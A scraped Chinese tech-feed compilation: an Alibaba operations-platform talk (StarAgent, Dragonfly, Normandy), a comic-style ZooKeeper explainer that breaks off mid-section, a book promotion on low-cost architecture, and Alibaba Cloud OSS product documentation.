        我的团队主要负责运维平台和工具的建设,旨在提升业务交付的效率和运维的自动化、智能化。在去年我们团队名字改成了“运维中台”,名字的改变很重要,他让我们的定位更加清晰,做事更聚焦和专注。

        运维平台建设已经很多年,产品比较多,下面我将介绍几个比较重要的产品来呈现阿里运维中台建设的过程。

        一、运维基础平台——StarAgent

        StarAgent 在阿里已经有五六年,甚至更早的时间。阿里所有的物理机、虚拟机以及容器都会装这个 agent,StarAgent 是管理所有 agent 的系统,基本上要和机器交互都需要通过这个平台。

        StarAgent 是一个生态平台,实际上不会做具体的业务,具体的业务还是通过各个业务平台去实现的。它们要和服务器进行交互必须通过我们这个平台。

        例如,应用运维平台——诺曼底也是通过 StarAgent 在机器上进行部署发布的。我们希望将 StarAgent 建设成一个平台,而不是所有的业务都是我们来做的。

        中台运维

        平台化的项目是2015年底启动的,在此之前机器上运行的 agent 所有的功能整个打包成一个可执行的程序,这导致了研发迭代速度非常缓慢,问题非常多。

        我们曾经有一个功能花了一个多月时间开发了一个功能,开始上线,全网做灰度,将近一个时间等快灰度结束的时候,突然发现某些环境下这个功能有 bug,结果又用了一个月的时间回滚。

        这个对我们士气是非常伤的,三个月过去了什么业务结果都没拿到。

        平台化的改造中,我们把各个业务的功能都变成一个个插件,可以插到这个平台上来。平台只负责最基本的插件维护的功能,以及命令执行的功能,仅此而已。监控、日志采集等功能都变成插件,而不需要都打包在一起。

        目前我们平台上已经有了将近90个插件,比如说监控、日志、安全、调度、采集、P2P 文件分发、配置管理类似 puppet, saltstack 等等插件。

        而且平台化之前我们必须全网发布,插件化之后,我们可以选择插件的发布范围,开发迭代的速度也有了大幅度提升。

        • 平台化之前整个 agent 都需要放到装机镜像里,装机镜像测试也需要一个月时间,所以更新镜像也非常繁琐.

        • 平台化之后装机镜像里也只要装基本的 agent core 就可以了,核心插件都可以装机后第一次启动时自动更新即可,这样也不需要频繁的更新装机镜像,core 的功能因为非常纯粹简单,core 稳定之后,更新的频率自然就低到了极致。

        中台运维

        StarAgent 平台化之后的架构比较简单,整个 agent 最核心的东西就是管理和运行这些插件,基于一个非常简单的交互协议与插件通讯。只要实现这些接口就可以作为一个插件让 agent 帮你去运维。

        所以除了之前 StarAgent 的功能插件化外,我们收敛了机器上众多的 agent,在这之前插件都是自己做一个运维系统,要管理自己的状态,要进行版本的更新和迭代。

        现在在统一的平台上统一的进行管理、统一做变更的升级。除了节省运维资源外,同时也能收敛重复功能的 agent,从另外一个角度保证了服务器运维的安全。

        1.1 StarAgent核心功能

        StarAgent 核心功能就是一个命令的通道,它既可以同步执行任务又可以异步执行任务,还可以查询任务状态和插件管理。插件分为两种,一种是静态的,静态的实际上就是脚本、命令之类的。

        另一种动态的是一个常驻进程,必须常驻在系统里面。我们会守护这个进程,如果它挂了会重新拉起来,如果其占用内存、CPU 超过设定的范围会删掉它。整个协议是比较简单的,使用起来耦合度也是比较低的。

        中台运维

        1.2 StarAgent特性

        StarAgent 系统从功能上来讲是比较简单的,我们其实是花了大量时间在做一些非功能上的东西。

        例如,高可用、高并发、安全,还有自运维能力,即使是百万级服务器的场景下,我们的运维人力投入可能几乎为0,我们追求的就是无人值守的运维。

        中台运维

        目前这套系统的执行成功率差不多有 99.995% 左右,由于执行量非常大,0.005% 失败率的运维成本还是挺高的。我们花了大量的时间做容灾和自恢复的工作。

        前两年支付宝官网瘫痪,经过这个事件我们开始做容灾的演练。把网线拔了,看所有系统的反应,过两个小时再把网线插上去,看这个系统是不是能自动恢复。

        中台运维

        以前我们都是半夜三点起来去重启服务器,经过自动化的运维,所有的系统断网都可以自动恢复、服务器可以自动进行扩容,保证系统持续的可用性。

        1.3 StarAgent 场景

        现在的场景会贯穿整个物理机的生命周期,阿里巴巴在物理机装机的过程中就会用到 StarAgent,从生产到下线整个过程都离不开。

        应用运维方面,我们在做重启、发布恢复等等,同时还有监控、数据采集及数据库等方面。

        StarAgent 是三层的架构,中央的一层,第二层是每个机房都有管控服务器,最下面一层就是每台服务器安装的 agent 及其插件。

        agent 会先注册到管控服务器然后上报自己的信息并且每隔一段时间上报自己的心跳。命令是从上往下的,是通过 API 去下发的。

        例如,下发一万台服务器执行命令,所有的命令都是同样的中央服务器,所以它是中央式的架构。

        中台运维

        阿里现在有很多走国际化,在俄罗斯、美国、印尼等地收购很多公司,它们的机房也需要我们做运维。目前我们在做的就是去单中心走向多中心的架构。

        比如说,在印度尼西亚的一个机房还需要回到中央服务器来再下发,这个路径会非常曲折,我们需要做个多组型。

        在国外的我们会多布一个中心,这样的话在单元内可以自制,不需要跑到杭州或上海来再下发到国外机房。

        1.4 StarAgent 指标 目前内部访问量每天在一亿多次,但是阿里的服务器还在不断增长,而且随着阿里云的业务逐步扩大,以及阿里本身业务的不断壮大,我们不得不提前考虑未来三年的发展会不会成为瓶颈。 所以去年我们花了半年的时间在架构上做了比较大的升级,目前集群的 QPS 已经达到55万次/分钟,这个量实际上已经差不多可以支撑未来3年服务器的发展和业务的发展。
        以前这些数据都没有,我觉得做运维系统需要把度量这个事情做起来。

        中台运维

        在架构里面有句话叫没有度量就没有改善,度量是非常重要的。如果产品的核心指标(稳定性、性能、内存占用等)没有定出来,或者无法度量,怎样去架构和优化系统就比较困难,无从下手。

        产品的亮点、竞争力、差异性也无从谈起。

        实际上系统稳定性以前根本就没有。一个系统指令发过去了就告诉你失败了,不知道什么原因,根本没有错误的分类。然后一堆人开始查问题,查半天发现这台机器磁盘满了。

        对于这种方式,我们觉得是不可持续的。我们需要从日志和标准化等方面一定要说清楚系统本身到底有没有问题。

        对于第三方依赖,可能是数据库、也可能是一个配置等等,一定要搞清楚第三方依赖的稳定性到底怎么样。对于环境的问题,网络是不是断了,磁盘是不是满了。

        这些也都需要在错误码日志里面体现出来,这样才能从各个方面逐步完善系统的指标,否则是没有办法完成的。系统的稳定性非常重要,有了这些数据,系统就可以进行数据化运维。

        1.5 StarAgent 插件系统

        StarAgent 插件系统,协议很简单。可实现启动、停止,配置如何重新加载等。我们对 CPU 会做一些守护,同时会做一些一键部署的事情。

        原来我们升级插件是非常多的,服务器数据很大,再加上插件数量和插件各种版本,这个量是非常巨大的。

        以前全网升级插件差不多要六个小时,经过优化之后现在大约10分钟就可以了。

        中台运维

        二、文件分发系统——蜻蜓

        对于全网都需要用到的,这些就不是一个个性化的需求,这些这插件是我们自己来开发。比如蜻蜓(P2P文件分发系统)就是我们自己开发的。

        文件分发其实是我们做部署系统的优化时候去做的,当时比较纠结,是自己开发还是用现成的系统。我们对比了业界很多类似的技术。

        比如 Facebook 的 wdt (https://github.com/facebook/wdt),Twitter 的 ( https://github.com/lg/murder ),百度的 Ginko 等等,还有包括亚马逊 Apollo 里面的文件分发系统,它们那个和我们的有点不太一样,他们的是基于 S3 做的。

        我们发现他们各自或多或少的都有些问题,无法满足我们多种场景下应用需求。这个产品可以不夸张的说已经做到行业第一。

        蜻蜓系统是纯碎的 P2P 的文件分发系统。在做 Docker 过程中,如果没有系统解决这些问题,整个 Docker 化的进程就会受到影响。当到了一定量以后根本就支撑不了,所以直接把镜像仓库的协议全部都实现了一遍。

        2.1 蜻蜓核心功能

        P2P 的文件分发我们做了很多特性,包括多线程下载、一致性校验以及白名单控制等。

        有些业务对磁盘是非常敏感的,例如搜索类的业务,所以会要求在写这个智能 IO 的时候会有些控制,我们会把这个参数调出来通过这个参数对磁盘进行管理。

        一个 200M 的文件在传输的时候会变得比较小,网络和传输速度都会得到优化。

        中台运维

        2.2 蜻蜓业务指标

        蜻蜓系统目前是一万个客户端同时下载 500M 的文件平均耗时 5s。阿里集团大部分的文件分发都统一用了这套系统。下载次数是 12万/月到 3亿/月。系统稳定性达6个9。也是自运维的系统。

        中台运维

        使用蜻蜓系统和不用该系统进行对比可知,这个模式下载速度会快很多而且不会随着并发数量上升而严重延时。

        中台运维

        三、应用运维平台——Normandy

        Normandy 是运维整个阿里巴巴业务的 PaaS 平台。这个平台实际上提供三大功能,分别是基础设施即代码(Infrastructure as Code)、部署和应用运维支撑。

        我们希望能够通过代码描述文件的形式把一个应用需要用到的所有资源,包括机载资源、服务器、网络还有数据库等都描述出来,这样就可以能够快速构建一个应用。

        中台运维

        应用已经有了,如何把代码部署到线上,让其能够对外提供服务,这就需要部署发布了。在发布部署方面我们做了无人监守的发布,我们和中间件等部分做了整合,只要代码没有出现线上的故障就可以自动发完。

        如果出现故障发布就会停下来,此时需要人介入去判断要不要作维稳。亚马逊的发布系统阿波罗,一年的发布量差不多是五千万,据说现在一天的发布量已经能达到50万。

        去年在这方面我们也做了很多工作,至少说这个发布系统不会因为业务发布次数比较大导致发布系统挂掉。

        另外,现在整套系统已经将阿里巴巴的测试环境和线上环境全部打通,解决了线上系统和测试不统一的情况。

        中台运维

        目前业务方有很多的平台使用应用运维平台和运维基础平台 StarAgent。从应用数量上来讲,实际上也是最多的,大概 80% 的应用都基本集中在交易。

        阿里云稍微有点特殊,有一半对 ECS 的运维,ECS 也是要做发布与运维,ECS 今年努力的方向要尽量做到不影响用户。

        以上的产品都是服务于整个阿里巴巴集团的,这些服务都是最基础的,我们的核心能力基本都是通用的,不带业务的特殊性,特殊性的功能可以在我们的平台化上进行扩展。

        这就是中台的原义,中台的好处就是让业务能根据自己的特性在中台上快速的发展,而不需要一杆子桶到最底层,同时中台也没有能力去帮助每个业务去实现所有的特性功能。

        这个是整个做事方式的转变,每层都想清楚自己的核心能力,做什么,不做什么同样重要。

        在满足了集团业务运维的同时,我们这些产品也真正的在打磨极致产品特性,极致的稳定性、极致的性能、极致的体验。

        这样能提升产品的竞争力,拉高进入门槛,光是一堆运维功能堆砌的产品是咩有灵魂的,也非常容易被复制。

        我们的产品在今年就会完成单元化,国际化,云化,希望能成为云上有竞争力的运维产品。




        ]]>
        漫画:什么是 ZooKeeper? Fri, 02 May 2025 09:39:04 +0800

        漫画:什么是 ZooKeeper?



        什么是 ZooKeeper?
        什么是 ZooKeeper?

        ————— 第二天 —————

        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?

        ————————————

        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?

        ZooKeeper 的数据模型

        ZooKeeper 的数据模型是什么样子呢?它很像数据结构当中的树,也很像文件系统的目录。

        什么是 ZooKeeper?

        树是由节点所组成,ZooKeeper 的数据存储也同样是基于节点,这种节点叫做Znode。

        但是,不同于树的节点,Znode 的引用方式是路径引用,类似于文件路径:

        / 动物 / 仓鼠

        / 植物 / 荷花

        这样的层级结构,让每一个 Znode 节点拥有唯一的路径,就像命名空间一样对不同信息作出清晰的隔离。

        什么是 ZooKeeper?
        什么是 ZooKeeper?
        什么是 ZooKeeper?

        data:Znode 存储的数据信息。

        ACL:记录 Znode 的访问权限,即哪些人或哪些 IP 可以访问本节点。

        stat:包含 Znode 的各种元数据,比如事务 ID、版本号、时间戳、大小等等。

        child:当前节点的子节点引用,类似于二叉树的左孩子右孩子。

        这里需要注意一点,ZooKeeper 是为读多写少的场景所设计。Znode 并不是用来存储大规模业务数据,而是用于存储少量的状态和配置信息,每个节点的数据最大不能超过 1MB。

        什么是 ZooKeeper?
        什么是 ZooKeeper?

        ZooKeeper 的基本操作和事件通知

        ZooKeeper 包含了哪些基本操作呢?这里列举出比较常用的 API:

        create:创建节点

        delete:删除节点

        exists:判断节点是否存在

        getData:获得一个节点的数据

        setData:设置一个节点的数据

        getChildren:获取节点下的所有子节点

        这其中,exists、getData、getChildren 属于读操作。ZooKeeper 客户端在请求读操作的时候,可以选择是否设置 Watch。

        Watch 是什么意思呢?

        我们可以理解成是注册在特定 Znode 上的触发器。当这个 Znode 发生改变,也就是调用了 create、delete、setData 方法的时候,将会触发 Znode 上注册的对应事件,请求 Watch 的客户端会接收到异步通知。

        具体交互过程如下:

        1. 客户端调用 getData 方法,Watch 参数是 true。服务端接到请求,返回节点数据,并且在对应的哈希表里插入被 Watch 的 Znode 路径,以及 Watcher 列表。

        什么是 ZooKeeper?

        2. 当被 Watch 的 Znode 已删除,服务端会查找哈希表,找到该 Znode 对应的所有 Watcher,异步通知客户端,并且删除哈希表中对应的 Key-Value。

        什么是 ZooKeeper?

        ZooKeeper 的一致性

        什么是 ZooKeeper?
        什么是 ZooKeeper?

        ZooKeeper 的集群长成什么样呢?就像下图这样:

        ZooKeeper Service 集群是一主多从结构。

        更新数据时,首先更新到主节点(这里的节点是指服务器,不是 Znode),再同步到从节点。

        在读取数据时,直接读取任意从节点。

        为了保证主从节点的数据一致性,ZooKeeper 采用了ZAB 协议,这种协议非常类似于一致性算法 Paxos 和 Raft。

        什么是 ZooKeeper?
        什么是 ZooKeeper?

        在学习 ZAB 之前,我们需要首先了解 ZAB 协议所定义的三种节点状态:

        Looking:选举状态。

        Following:Follower 节点(从节点)所处的状态。

        Leading:Leader 节点(主节点)所处状态。

        我们还需要知道最大 ZXID 的概念:

        最大 ZXID 也就是节点本地的最新事务编号,包含 epoch 和计数两部分。epoch 是纪元的意思,相当于 Raft 算法选主时候的 term。

        假如 ZooKeeper 当前的主节点挂掉了,集群会进行崩溃恢复。ZAB 的崩溃恢复分成三个阶段:

        十年 IT 老兵告诉你如何快速构建可直接落地、基于开源的低成本架构!


        技术大会上的分享大多高大上,亿级流量、超大型研发团队,虽然值得借鉴,但由于应用场景与研发资源的差异,一般企业并不容易落地。其实,中小型研发团队在IT行业还是占大多数,他们在技术架构方面的问题较多,技术阻碍业务、跟不上业务发展的情况非常常见。

        我是一个有十多年经验的 IT 老兵,曾在两家几千人的技术团队做过架构与技术管理工作,也曾在几十人至几百人的中小研发团队做过首席架构师和CTO。一个是定制的劳斯莱斯,一个是大众轿车。在互联网大厂做技术研发,大多只是一个螺丝钉。而在中小研发团队,则比较容易掌控全局。

        本书结合笔者近几年的工作经验,摸索出一套可直接落地、基于开源、成本低、可快速搭建的框架及架构方案。小团队也能构建大网站,中小研发团队架构实践更贴近于一般程序员的实际情况,更具应用参考价值。以下是具体介绍,包括开篇、架构篇、框架篇、公共应用篇和进阶篇。

        框架篇——工欲善其事,必先利其器

        如果说运维是地基,那么框架就是承重墙。农村建住房是一块砖一块砖地往上垒,而城市建大House则是先打地基,再建承重墙,最后才是垒砖,所以中间件的搭建和引进是建设高可用、高性能、易扩展可伸缩的大中型系统的前提。

        框架篇中的每章主要由四部分组成:它是什么、工作原理、使用场景和可直接调试的Demo。其中中间件及Demo是历经两家公司四年时间的考验,涉及几百个应用,100多个库1万多张表,日订单从几万张到十几万,年GMV从几十亿到几百亿。所有中间件与工具都是基于开源。

        早期我们也有部分自主研发如集中式日志和度量框架,后期在第二家公司时为了快速地搭建、降低成本、易于维护和扩展,全部改为开源。这样不仅利于个人的学习成长、知识重用和职业生涯,也利于团队的组建和人才的引进。

        1、集中式缓存Redis

        缓存是计算机的难题之一,分布式缓存亦是如此。

        Redis看起来非常简单,但它影响着系统的效率、性能、数据一致性。用好它不容易,具体包括:缓存时长(复杂多维度的计算)、缓存失效处理(主动更新)、缓存键(Hash和方便人工干预)、缓存内容及数据结构的选择、缓存雪崩的处理、缓存穿透的处理等。

        Redis除了缓存的功能,还有其它功能如Lua计算能力、Limit与Session时间窗口、分布式锁等。

        我们使用ServiceStack.Redis做客户端,使用方法详见Demo。

        2、消息队列RabbitMQ

        消息队列好比葛洲坝,有大量数据的堆积能力,然后再可靠地进行异步输出。它是EDA事件驱动架构的核心,也是CQRS同步数据的关键。

        为什么选择RabbitMQ而没有选择Kafka,因为业务系统有对消息的高可靠性要求,以及对复杂功能如消息确认Ack的要求。

        3、集中式日志ELK

        日志主要分为系统日志和应用日志两类。试想一下,你该如何在一个具有几百台服务器的集群中定位到问题?如何追踪每天产生的几G甚至几T的数据?集中式日志就是此类问题的解决方案。

        早期我们使用自主研发的Log4Net+MongoDB来收集和检索日志信息,但随着数据量的增加,查询速度却变得越来越慢。后期改为开源的ELK,虽然易用性有所下降,但它支持海量数据以及与编程语言无关的特征。

        下图是ELK的架构图:

        如何快速搭建低成本IT架构

        4、任务调度Job

        任务调度Job如同数据库作业或Windows计划任务,是分布式系统中异步和批处理的关键。

        我们的Job分为WinJob和HttpJob:WinJob是操作系统级别的定时任务,使用开源的框架Quartz.NET实现;而HttpJob则是自主研发实现,采用URL方式可定时调用微服务。HttpJob借助集群巧妙地解决了WinJob的单点和发布问题,并集中管理所有的调度规则,调度规则有简单规则和Cron表达式。HttpJob它简单易用,但间隔时间不能低于1分钟,毕竟通过URL方式来调度并不高效。

        下图是HttpJob的管理后台:

        如何快速搭建低成本IT架构

        5、度量工具Metrics

        “没有度量就没有提升”,度量是改进优化的基础,是做好一个系统的前置条件。Zabbix一般用于系统级别的监控,Metrics则用于业务应用级别的监控。业务应用是个黑盒子,通过数据埋点来收集应用的实时状态,然后展示在大屏或看板上。它是报警系统和数字化管理的基础,还可以结合集中式日志来快速定位和查找问题。

        我们的业务监控系统使用Metrics.NET+InfluxDB+Grafana:

        如何快速搭建低成本IT架构

        6、微服务MSA

        微服务是细粒度业务行为的重用,需要与业务能力及业务阶段相匹配。微服务框架是实现微服务及分布式架构的关键组件,我们的微服务框架是基于开源ServiceStack来实现。它简单易用、性能好,文档自动生成、方便调试测试,调试工具Swagger UI、自动化接口测试工具SoapUI。微服务的接口开放采用我们自主研发的微服务网关,通过治理后台简单的配置即可。网关以NIO、IOCP的方式实现高并发,主要功能有鉴权、超时、限流、熔断、监控等,下图是Swagger UI调试工具。

        如何快速搭建低成本IT架构

        7、搜索引擎Solr

        分库分表后的关联查询,大段文本的模糊查询,这些要如何实现呢?显然传统的数据库没有很好的解决办法,这时可以借助专业的检索工具。

        全文检索工具Solr不仅简单易用性能好,而且支持海量数据高并发,只需实现系统两边数据的准实时或定时同步即可。下图是Solr的工作原理:

        如何快速搭建低成本IT架构

        8、更多工具

        分布式协调器ZooKeeper:ZK工作原理、配置中心、Master选举、Demo,一篇足以;

        ORM框架:Dapper.NET语法简单、运行速度快,与数据库无关,SQL自主编写可控,是一款适合于互联网系统的数据库访问工具;

        对象映射工具EmitMapper和AutoMapper:EmitMapper性能较高,AutoMapper易用性较好;

        IoC框架:控制反转IoC轻量级框架Autofac;

        DLL包管理:公司内部DLL包管理工具NuGet,可解决DLL集中存储、更新、引用、依赖问题;

        发布工具Jenkins:一键编译、发布、自动化测试、一键回滚,高效便捷故障低。

        架构篇——思想提升

        会使用以上框架并不一定能成为优秀的架构师,但一位优秀架构师一定会使用框架。架构师除了会使用工具外,还需要架构设计思想和性能调优技能。

        此篇以真实项目为背景,思想方法追求简单有效,内容包括企业总体架构、单个项目架构设计、统一应用分层、调试工具WinDbg。

        1、企业总体架构

        当我们有了几百个上千个应用后,不仅仅需要单个项目的架构设计,还需要企业总体架构做顶层思考和指导。

        大公司与小商贩的商业思维是一样的,但大公司比较难看到商业全貌和本质。而小公司又缺乏客户流量和中间件的应用场景,中型公司则兼而有之,所以企业总体架构也相对好落地。

        企业总体架构需要在技术、业务、管理之间游刃有余地切换,它包括业务架构、应用架构、数据架构和技术架构。附档是一份脱敏感信息后的真实案例,有参考TOGAF标准,但内容以解决公司系统的架构问题为导向、以时间为主线,包括企业商务模型、架构现状、架构规划和架构实施。

        2、单个项目架构设计

        应用架构设计如同施工图纸,能直接指导工程代码的实施。上一环是功能需求,下一环是代码实施,这是架构设计的价值所在。从功能需求到用例,到用例活动图,到领域图、架构分层,到核心代码,它们之间环环相扣。做不好领域图可能源自没有做好用例活动图,因为用例活动图是领域图的上一环。关注职责、边界、应用关系、存储、部署是架构设计的核心。

        下图是具体案例参考:

        如何快速搭建低成本IT架构

        3、统一应用分层

        给应用分层这件事情很简单,但是让一家公司的几百个应用采用统一的分层结构,这可不是件简单的事情。它要做到可大可小、简单易用、支持多种场景,我们使用IPO方式:I表示Input、O表示Output、P表示Process,一进一出一处理。

        应用系统的本质就是机器,是处理设备,也是一进一出一处理,IPO方式相对于DDD而言更为简单实用。

        如何快速搭建低成本IT架构

        4、诊断工具WinDbg

        生产环境偶尔会出现一些异常问题,而WinDbg或GDB就是解决此类问题的利器。调试工具WinDbg如同医生的听诊器,是系统生病时做问题诊断的逆向分析工具,Dump文件类似于飞机的黑匣子,记录着生产环境程序运行的状态。

        本文主要介绍了调试工具WinDbg和抓包工具ProcDump的使用,并分享一个真实的案例。N年前不知谁写的代码,导致每一两个月偶尔出现CPU飙高的现象。我们先使用ProcDump在生产环境中抓取异常进程的Dump文件,然后在不了解代码的情况下通过WinDbg命令进行分析,最终定位到有问题的那行代码。

        如何快速搭建低成本IT架构

        公共应用篇——业务与技术的结合

        先工具再框架,然后架构设计,最后深入公共应用。公共应用因为与业务系统结合紧密,但又具有一定的独立性,所以一般自主开发,不使用开源也不方便开源。

        公共应用主要包括单点登录、企业支付网关、CTI通讯网关(短信邮件微信),下面介绍单点登录和企业支付网关。

        1、单点登录

        应用拆分后总要合在一起,拆分是应用实施层面的拆分,合成是用户层面的合成,而合成必须解决认证和导航问题。单点登录SSO即只需要登录一次,便可到处访问,它是建立在用户系统、权限系统、认证系统和企业门户的基础上。

        我们的凭证数据Token使用JWT标准,以解决不同语言、不同客户端、跨WebAPI的安全问题。

        2、企业支付网关

        企业支付网关集中和封装了公司的各大支付,例如支付宝、财付通、微信、预付款等。它统一了业务系统调用各支付接口的方式,简化了业务系统与支付系统的交互。它将各种支付接口统一为支付、代扣、分润、退款、退分润、补差、转账、冻结、解冻、预付款等,调用时只需选择支付类型即可。

        企业支付网关将各大支付系统进行集中地设计、研发、部署、监控、维护,提供统一的加解密、序列化、日志记录和安全隔离。

        进阶篇——从架构到管理

        如何快速创建阿里云OSS存储空间





        开通阿里云OSS服务后,您需要首先创建存储空间来存储文件。

        操作步骤

        1. 登录OSS 管理控制台
        2. 单击左侧存储空间列表中的新增按钮+,或者单击页面右上方的新建 Bucket按钮,打开新建 Bucket对话框。
          阿里云OSS
        3. 命名框中,输入存储空间名称。
          • 存储空间名称必须符合命名规范。
          • 存储空间名称在阿里云OSS的所有现有存储空间名称中必须具有唯一性。
          • 存储空间创建后名称无法修改。
          • 有关存储空间命名的更多信息,请参见基本概念介绍
        4. 所属地域框中,下拉选择该存储空间的数据中心。

          存储空间创建后无法更换所属地域。如需要通过ECS内网访问OSS,需要选择与您ECS相同的地域。更多信息请参见OSS访问域名使用规则

        5. 存储类型框中,下拉选择所需要的存储类型。
          • 标准存储:高可靠、高可用、高性能,数据会经常被访问到。
          • 低频访问:数据长期存储、较少访问,存储单价低于标准类型。
          • 归档存储:适合需要长期保存(建议半年以上)的归档数据,在存储周期内极少被访问,数据进入到可读取状态需要等待1分钟的解冻时间。适合需要长期保存的档案数据、医疗影像、科学资料、影视素材。
        6. 读写权限框中,下拉选择对应的权限。
          • 私有:只有该存储空间的拥有者可以对该存储空间内的文件进行读写操作,其他人无法访问该存储空间内的文件。
          • 公共读:只有该存储空间的拥有者可以对该存储空间内的文件进行写操作,任何人(包括匿名访问者)可以对该存储空间中的文件进行读操作。
          • 公共读写:任何人(包括匿名访问者)都可以对该存储空间中的文件进行读写操作。
          • 注意:对存储空间的所有操作产生的费用由该存储空间的所有者承担,因此请慎用公共读公共读写权限。
        7. 单击确定


        ]]>
        阿里云服务器2折直购,三年最低只要298 Fri, 02 May 2025 09:39:04 +0800 阿里云OSS功能概览 Fri, 02 May 2025 09:39:04 +0800 阿里云OSS功能概览



        在使用OSS产品之前,建议您先了解存储空间、对象、地域、访问域名等基本概念,以便更好地理解OSS提供的功能。

        关于OSS基本概念的含义,请您参见基本概念介绍

        OSS提供以下功能:


        应用场景 功能描述 参考
        上传文件 上传文件到OSS前,必须先在阿里云的任意一个地域创建一个存储空间。创建存储空间后,您可以上传任意文件到该存储空间。
        • 创建存储空间
        • 新建文件夹
        • 简单上传
        搜索文件 您可以在存储空间中搜索文件或文件夹。 搜索文件
        查看或下载文件 您可以通过文件 URL 查看或者下载文件。 获取文件访问地址
        删除文件或文件夹 您可以删除单个或者多个文件/文件夹,还可以删除分片上传产生的碎片,节省您的存储空间。
        • 删除对象
        • 删除文件夹
        • 管理碎片
        控制OSS资源的访问权限 OSS 为权限控制提供访问控制列表(ACL)。ACL是授予存储空间和对象访问权限的访问策略。 您可以在创建存储空间或上传对象时配置ACL,也可以在创建存储空间或上传对象后的任意时间内修改ACL。
        • 设置存储空间读写权限(ACL)
        • 修改文件读写权限
        记录OSS资源的访问信息 您可以开启日志功能自动记录对OSS资源的详细访问信息。 设置访问日志记录
        防止OSS上的数据被其他人盗链 您可以为您的存储空间设置防盗链,包括 Referer 字段的白名单和是否允许 Referer 字段为空的请求访问。 设置防盗链
        使用自定义域名访问OSS资源 您可以将自定义域名绑定到OSS存储空间,然后使用自定义域名访问存储空间中的数据。您还可以启用阿里云CDN服务加速对存储空间中数据的访问。 绑定自定义域名
        跨域资源共享 OSS提供在HTML5协议中跨域资源共享(CORS)的设置。 CORS允许在一个域名中加载的客户端Web应用程序与另一个域中的资源进行交互。 设置跨域访问
        在指定时间自动批量删除文件 您可以定义和管理存储空间内所有文件或特定文件的生命周期。例如,达到指定天数后,将特定文件删除或者转换到其他价格更低的存储类型。 管理对象生命周期
        将一个存储空间的数据跨区域复制到另一个存储空间 跨区域复制是对不同区域的存储空间中的文件进行自动异步复制。 跨区域复制将新创建的文件、文件更新和文件删除等操作从源存储空间复制到不同区域的目标存储空间。 管理跨区域复制
        获取源数据内容 您可以创建回源规则来定义通过镜像还是重定向获取源数据。回源规则通常用于数据热迁移和重定向特定请求。 管理回源设置
        修改 HTTP头 设置一个或多个 HTTP 头。 设置文件HTTP头
        查看资源使用情况 您可以查看OSS服务使用情况的实时信息,如基本的系统运行状态和性能。 监控服务概览
        处理OSS中存储的图片 您可以对OSS中存储的图片执行不同的操作,例如格式转换、裁剪、缩放、旋转、水印和样式封装。 快速使用OSS图片服务
        使用API和SDK OSS 提供 RESTful API和各种语言的SDK开发包。
        • API 参考
        • SDK 参考

        ]]>
        阿里云OSS与自建存储对比的优势 Fri, 02 May 2025 09:39:04 +0800 阿里云OSS与自建存储对比的优势



        OSS与自建存储对比的优势


        对比项 对象存储OSS 自建服务器存储
        可靠性
        • 服务设计可用性不低于99.99%。
        • 规模自动扩展,不影响对外服务。
        • 数据设计持久性不低于99.999999999%。
        • 数据自动多重冗余备份。
        • 受限于硬件可靠性,易出问题,一旦出现磁盘坏道,容易出现不可逆转的数据丢失。
        • 人工数据恢复困难、耗时、耗力。
        安全
        • 提供企业级多层次安全防护。
        • 多用户资源隔离机制,支持异地容灾机制。
        • 提供多种鉴权和授权机制及白名单、防盗链、主子账号功能。
        • 需要另外购买清洗和黑洞设备。
        • 需要单独实现安全机制。
        成本
        • 多线BGP骨干网络,无带宽限制,上行流量免费。
        • 无需运维人员与托管费用,0成本运维。
        • 存储受硬盘容量限制,需人工扩容。
        • 单线或双线接入速度慢,有带宽限制,峰值时期需人工扩容。
        • 需专人运维,成本高。
        数据处理能力 提供图片处理、音视频转码、内容加速分发、鉴黄服务、归档服务等多种数据增值服务,并不断丰富中。 需要额外采购,单独部署。

        OSS具备的其他各项优势

        • 方便、快捷的使用方式
          • 提供标准的RESTful API接口、丰富的SDK包、客户端工具、控制台。您可以像使用文件一样方便地上传、下载、检索、管理用于Web网站或者移动应用的海量数据。
          • 不限文件数量和大小。您可以根据所需存储量无限扩展存储空间,解决了传统硬件存储扩容问题。
          • 支持流式写入和读出。特别适合视频等大文件的边写边读业务场景。
          • 支持数据生命周期管理。您可以自定义将到期数据批量删除或者转入到低成本的归档服务。
        • 强大、灵活的安全机制
          • 灵活的鉴权,授权机制。提供STS和URL鉴权和授权机制,以及白名单、防盗链、主子账号功能。
          • 提供用户级别资源隔离机制和多集群同步机制(可选)。
        • 丰富、强大的增值服务
          • 图片处理:支持jpg、png、bmp、gif、webp、tiff等多种图片格式的转换,以及缩略图、剪裁、水印、缩放等多种操作。
          • 音视频转码:提供高质量、高速并行的音视频转码能力,让您的音视频文件轻松应对各种终端设备。
          • 内容加速分发:OSS作为源站,搭配CDN进行加速分发,具有稳定、无回源带宽限制、性价比高、一键配置的特点。

        ]]>
        什么是阿里云对象存储 OSS Fri, 02 May 2025 09:39:04 +0800 什么是阿里云对象存储 OSS。




        • 相关概念
        • 相关服务
        • 使用OSS
        • OSS定价
        • 学习路径图
        • 视频

              阿里云对象存储服务(Object Storage Service,简称 OSS),是阿里云提供的海量、安全、低成本、高可靠的云存储服务。它具有与平台无关的RESTful API接口,能够提供99.999999999%(11个9)的数据可靠性和99.99%的服务可用性。您可以在任何应用、任何时间、任何地点存储和访问任意类型的数据。

        您可以使用阿里云提供的API、SDK接口或者OSS迁移工具轻松地将海量数据移入或移出阿里云OSS。数据存储到阿里云OSS以后,您可以选择标准类型(Standard)的阿里云OSS服务作为移动应用、大型网站、图片分享或热点音视频的主要存储方式,也可以选择成本更低、存储期限更长的低频访问类型(Infrequent Access)和归档类型(Archive)的阿里云OSS服务作为不经常访问数据的备份和归档。

        相关概念

        • 存储类型(Storage Class)

          OSS提供标准、低频访问、归档三种存储类型,全面覆盖从热到冷的各种数据存储场景。其中标准存储类型提供高可靠、高可用、高性能的对象存储服务,能够支持频繁的数据访问;低频访问存储类型适合长期保存不经常访问的数据(平均每月访问频率1到2次),存储单价低于标准类型;归档存储类型适合需要长期保存(建议半年以上)的归档数据,在三种存储类型中单价最低。详情请参见存储类型介绍。

        • 存储空间(Bucket)

